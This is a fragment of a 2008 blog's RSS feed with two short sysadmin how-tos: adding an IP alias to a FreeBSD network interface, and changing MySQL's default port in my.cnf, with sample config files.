		<link>http://www.a-days.com/index.php/2008/10/08/freebsd-setup-2-ip-address-on-one-nic-ip-alias/</link>
		<comments>http://www.a-days.com/index.php/2008/10/08/freebsd-setup-2-ip-address-on-one-nic-ip-alias/#comments</comments>
		<pubDate>Wed, 08 Oct 2008 08:22:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/10/08/freebsd-setup-2-ip-address-on-one-nic-ip-alias/</guid>
		<description><![CDATA[It is possible to create network alias or assign 2 ip address to a single NIC under FreeBSD operating system.
Sample setup:
=&#62; lnc0 - IP : 192.168.1.1/255.255.255.0
=&#62;lnc0 alias - IP : 192.168.1.5/255.255.255.255
Note: Netmask must be diffrent otherwise you will get an error ifconfig: ioctl (SIOCAIFADDR): File exists
Set ip alias using ifconfig command line utility
Login as the [...]]]></description>
			<content:encoded><![CDATA[<p>It is possible to create network alias or assign 2 ip address to a single NIC under FreeBSD operating system.<br />
<strong>Sample setup:</strong></p>
<p>=&gt; lnc0 - IP : 192.168.1.1/255.255.255.0<br />
=&gt;lnc0 alias - IP : 192.168.1.5/255.255.255.255<br />
Note: Netmask must be diffrent otherwise you will get an error ifconfig: ioctl (SIOCAIFADDR): File exists<br />
Set ip alias using ifconfig command line utility</p>
<p><strong>Login as the root user.<br />
</strong><br />
Now, use ifconfig command as follows to set alias:<br />
# ifconfig lnc0 192.168.1.5 netmask 255.255.255.255 alias<br />
Persistent IP Alias Configuration</p>
<p>Edit file /etc/rc.conf to setup persistent ip aliasing option by appending following configuration, so that next time FreeBSD comes up (after restart/shutdown) it will create alias for you:<br />
ifconfig_lnc0_alias0=&#8221;192.168.1.5 netmask 255.255.255.255&#8243;</p>
<p>Finally, &lt; href=&#8221;http://www.cyberciti.biz/tips/freebsd-how-to-start-restart-stop-network-service.html&#8221;&gt;Restart FreeBSD network service using network restart script:<br />
# /etc/rc.d/netif restart &amp;&amp; /etc/rc.d/routing restart<br />
Display alias and real ip using ifconfig lnc0 command:<br />
# ifconfig lnc0<br />
<strong>Sample output:</strong></p>
<p>lnc0: flags=8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500<br />
inet6 fe80::20c:29ff:fe01:ddbd%lnc0 prefixlen 64 scopeid 0&#215;1<br />
inet 192.168.1.2 netmask 0xffffff00 broadcast 192.168.1.255<br />
inet 192.168.1.5 netmask 0xffff</p>
<p><strong>Sample /etc/rc.conf file with IP aliasing</strong></p>
<p>Here is my /etc/rc.conf file with em0 and em1 interface with 5 aliases:</p>
<p>hostname=&#8221;sun.nixcraft.in&#8221;<br />
# default vsnl router interface<br />
defaultrouter=&#8221;202.54.1.200&#8243;<br />
# Force 10Mbps for both public and private LAN interace<br />
ifconfig_em0=&#8221;inet 10.20.110.2 netmask 255.255.255.192 media 10baseT/UTP mediaopt full-duplex&#8221;<br />
ifconfig_em1=&#8221;inet 202.52.1.2 netmask 255.255.255.248 media 10baseT/UTP mediaopt full-duplex&#8221;<br />
ifconfig_em0_alias0=&#8221;inet 10.20.1.226 netmask 255.255.255.0&#8243;<br />
ifconfig_em0_alias1=&#8221;inet 10.20.1.227 netmask 255.255.255.0&#8243;<br />
ifconfig_em0_alias2=&#8221;inet 10.20.1.228 netmask 255.255.255.0&#8243;<br />
ifconfig_em0_alias3=&#8221;inet 10.20.1.229 netmask 255.255.255.0&#8243;<br />
ifconfig_em0_alias4=&#8221;inet 10.20.1.230 netmask 255.255.255.0&#8243;<br />
# static routing configuration<br />
static_routes=&#8221;lan0&#8243;<br />
route_lan0=&#8221;-net 10.0.0.0/8 10.20.110.1&#8243;</p>
<p>ref : http://www.cyberciti.biz/tips/freebsd-how-to-setup-2-ip-address-on-one-nic.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/10/08/freebsd-setup-2-ip-address-on-one-nic-ip-alias/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Change Default Port Under Linux / UNIX</title>
		<link>http://www.a-days.com/index.php/2008/08/27/change-default-port-under-linux-unix/</link>
		<comments>http://www.a-days.com/index.php/2008/08/27/change-default-port-under-linux-unix/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 03:15:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/08/27/change-default-port-under-linux-unix/</guid>
		<description><![CDATA[MySQL server and client uses a file called my.cnf. You need to open /etc/my.cnf (Global mysqld configuration file) to specify new port.
Open /etc/my.cnf file:
# vi /etc/my.cnf
Set new port 5123:
port=5123
Here is is my sample /etc/my.cnf file:
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
port=5123
old_passwords=1
bind = 10.10.29.66
key_buffer = 500M
table_cache = 4000
sort_buffer_size = 3M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
max_connections = 400
query_cache_type = 1
query_cache_limit = 1M
query_cache_size [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL server and client uses a file called my.cnf. You need to open /etc/my.cnf (Global mysqld configuration file) to specify new port.</p>
<p>Open /etc/my.cnf file:<br />
<strong># vi /etc/my.cnf</strong><br />
Set new port 5123:<br />
port=5123<br />
Here is is my sample /etc/my.cnf file:</p>
<p>[mysqld]<br />
datadir=/var/lib/mysql<br />
socket=/var/lib/mysql/mysql.sock<br />
port=5123<br />
old_passwords=1<br />
bind = 10.10.29.66<br />
key_buffer = 500M<br />
table_cache = 4000<br />
sort_buffer_size = 3M<br />
read_buffer_size = 2M<br />
read_rnd_buffer_size = 8M<br />
myisam_sort_buffer_size = 64M<br />
max_connections = 400<br />
query_cache_type = 1<br />
query_cache_limit = 1M<br />
query_cache_size = 100M</p>
<p>max_allowed_packet = 1M<br />
thread_cache_size = 8</p>
<p># Try number of CPU&#8217;s*2 for thread_concurrency<br />
thread_concurrency = 4<br />
local-infile=0</p>
<p>[mysql.server]<br />
user=mysql<br />
basedir=/var/lib</p>
<p>[mysqld_safe]<br />
log-error=/var/log/mysqld.log<br />
pid-file=/var/run/mysqld/mysqld.pid</p>
<p>[mysqldump]<br />
quick<br />
max_allowed_packet = 16M</p>
<p>Save and close the file. Restart mysqld:<br />
# service mysqld restart</p>
<p>ref : http://www.cyberciti.biz/faq/change-default-mysql-port-under-linuxunix/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/08/27/change-default-port-under-linux-unix/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-5766794-2");
pageTracker._trackPageview();
</script>